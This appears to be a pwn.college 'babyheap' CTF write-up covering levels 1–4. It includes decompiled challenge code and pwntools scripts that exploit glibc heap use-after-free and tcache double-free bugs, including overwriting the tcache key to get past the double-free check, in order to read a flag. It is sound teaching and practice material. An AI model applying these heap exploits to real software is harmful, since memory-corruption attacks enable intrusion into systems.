# Level1
## 1.0

- The challenge give me distinct options.
- As you see, the program call malloc(607) to read and save flag.
- So, I exploit a use-after-free vulnerability to get the flag.

- After free allocations[0], this move to tcache(***LIFO lists***).
- So in the next call malloc with the same size, this chunk will reused.
- If I malloc(607), afterwards free it, and the next malloc in read_flag call malloc(607) will get this free chunk.
- Now pointer points to flag, so I only puts to read it.
## 1.1
It is similar to level 1.0. However, I need to debug to find the size of malloc() when I read_flag.


**The size:** 0x175.
# Level 2
## 2.0
It is similar to level 1.
## 2.1
- It is a special challenge compared to the previous challenge because I can't debug the program.

- Thus, I use IDA to know how the size of malloc() to read_flag.
```c=
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int i; // [rsp+2Ch] [rbp-B4h]
unsigned int size; // [rsp+34h] [rbp-ACh]
void *size_4; // [rsp+38h] [rbp-A8h]
size_t v8; // [rsp+40h] [rbp-A0h]
void *ptr; // [rsp+48h] [rbp-98h]
char s1[136]; // [rsp+50h] [rbp-90h] BYREF
unsigned __int64 v11; // [rsp+D8h] [rbp-8h]
v11 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
ptr = 0LL;
v8 = rand() % 872 + 128;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_204E);
printf("[*] Function (malloc/free/puts/read_flag/quit): ");
__isoc99_scanf("%127s", s1);
puts(byte_204E);
if ( strcmp(s1, "malloc") )
break;
printf("Size: ");
__isoc99_scanf("%127s", s1);
puts(byte_204E);
size = atoi(s1);
ptr = malloc(size);
printf("[*] allocations[%d] = %p\n", 0LL, ptr);
}
if ( strcmp(s1, "free") )
break;
free(ptr);
}
if ( strcmp(s1, "puts") )
break;
printf("Data: ");
puts((const char *)ptr);
}
if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
size_4 = malloc(v8);
printf("[*] flag_buffer = %p\n", size_4);
}
v3 = open("/flag", 0);
read(v3, size_4, 0x80uLL);
}
if ( strcmp(s1, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
```
As you see, `v8 = rand() % 872 + 128`, malloc size is random from 128 to 1000. Thereforce, we should brute-force it.
```python=
from pwn import *
context.log_level = 'debug'
r = process('/challenge/babyheap_level2.1')
for i in range(128, 1000):
r.sendlineafter(b'[*] Function (malloc/free/puts/read_flag/quit): ', b'malloc')
r.sendlineafter(b'Size: ', str(i).encode())
r.sendlineafter(b'[*] Function (malloc/free/puts/read_flag/quit): ', b'free')
r.sendlineafter(b'[*] Function (malloc/free/puts/read_flag/quit): ', b'read_flag')
r.sendlineafter(b'[*] Function (malloc/free/puts/read_flag/quit): ', b'puts')
r.recvuntil(b'Data: ')
res = r.recvline()
if b'pwn.college{' in res:
log.info(res)
exit(0)
r.interactive()
```
# Level 3
## 3.0

- It gives me two times malloc to read_flag.
- I do it several times and concluded that flag is store the second chunk.
- Do it similar to level 1.

## 3.1
- I need to use IDA to find the size of malloc() when read_flag.
```c=
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int i; // [rsp+24h] [rbp-12Ch]
unsigned int v6; // [rsp+28h] [rbp-128h]
unsigned int v7; // [rsp+28h] [rbp-128h]
unsigned int v8; // [rsp+28h] [rbp-128h]
unsigned int size; // [rsp+2Ch] [rbp-124h]
void *size_4; // [rsp+30h] [rbp-120h]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char s1[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 1uLL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_2020);
printf("[*] Function (malloc/free/puts/read_flag/quit): ");
__isoc99_scanf("%127s", s1);
puts(byte_2020);
if ( strcmp(s1, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", s1);
puts(byte_2020);
v6 = atoi(s1);
if ( v6 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x3Cu, "main");
printf("Size: ");
__isoc99_scanf("%127s", s1);
puts(byte_2020);
size = atoi(s1);
ptr[v6] = malloc(size);
}
if ( strcmp(s1, "free") )
break;
printf("Index: ");
__isoc99_scanf("%127s", s1);
puts(byte_2020);
v7 = atoi(s1);
if ( v7 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x4Cu, "main");
free(ptr[v7]);
}
if ( strcmp(s1, "puts") )
break;
printf("Index: ");
__isoc99_scanf("%127s", s1);
puts(byte_2020);
v8 = atoi(s1);
if ( v8 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0x58u, "main");
printf("Data: ");
puts((const char *)ptr[v8]);
}
if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 1; ++i )
size_4 = malloc(0x221uLL);
v3 = open("/flag", 0);
read(v3, size_4, 0x80uLL);
}
if ( strcmp(s1, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
```
- The size: **0x221**
- The work are the same as the previous challenge.
# Level 4
## 4.0

- As you see, read_flag call malloc(573) two times to read flag, and the second call stores flag.
- I only have one input once time.
- However, the challenge give me new option: ***scanf***
- 
- My input from scanf() goes into this chunk.
**From the expert in pwncollge**
| next_ptr | tcache_perthread_struct ptr |
| -------- | -------- |
> Recall that the free'd chunk (on the earlier levels) looks like
> ***The way that TCACHE checks if a pointer has been freed before is it looks at the "key" value.*** This is the 8 bytes after the next pointer. These earlier challenges use libc 2.31, where those 8 bytes are a pointer to the tcache_prethread_struct.
>
>
> I'm willing to bet that you wrote at least 9 bytes in level 4. 8 bytes to overwrite the next pointer, than at least 1 more to overwrite part of the tcache_perthread_struct pointer. Overwriting this second value will allow you to perform a double free for tcache entries.
>
> Here's a link to the check (on libc 2.31) source that detects double free.
> https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4193
>
> Here you can see that the value being compared is the tcache_perthread_struct pointer.
> https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L2913

```python=
from pwn import *
context.log_level = 'debug'
r = process('/challenge/babyheap_level4.0')
r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'malloc')
r.sendlineafter(b'Size: ', b'573')
r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'free')
r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'scanf')
r.sendline(b'a'*8)
r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'free')
r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'read_flag')
r.sendlineafter(b'[*] Function (malloc/free/puts/scanf/read_flag/quit): ', b'puts')
r.interactive()
```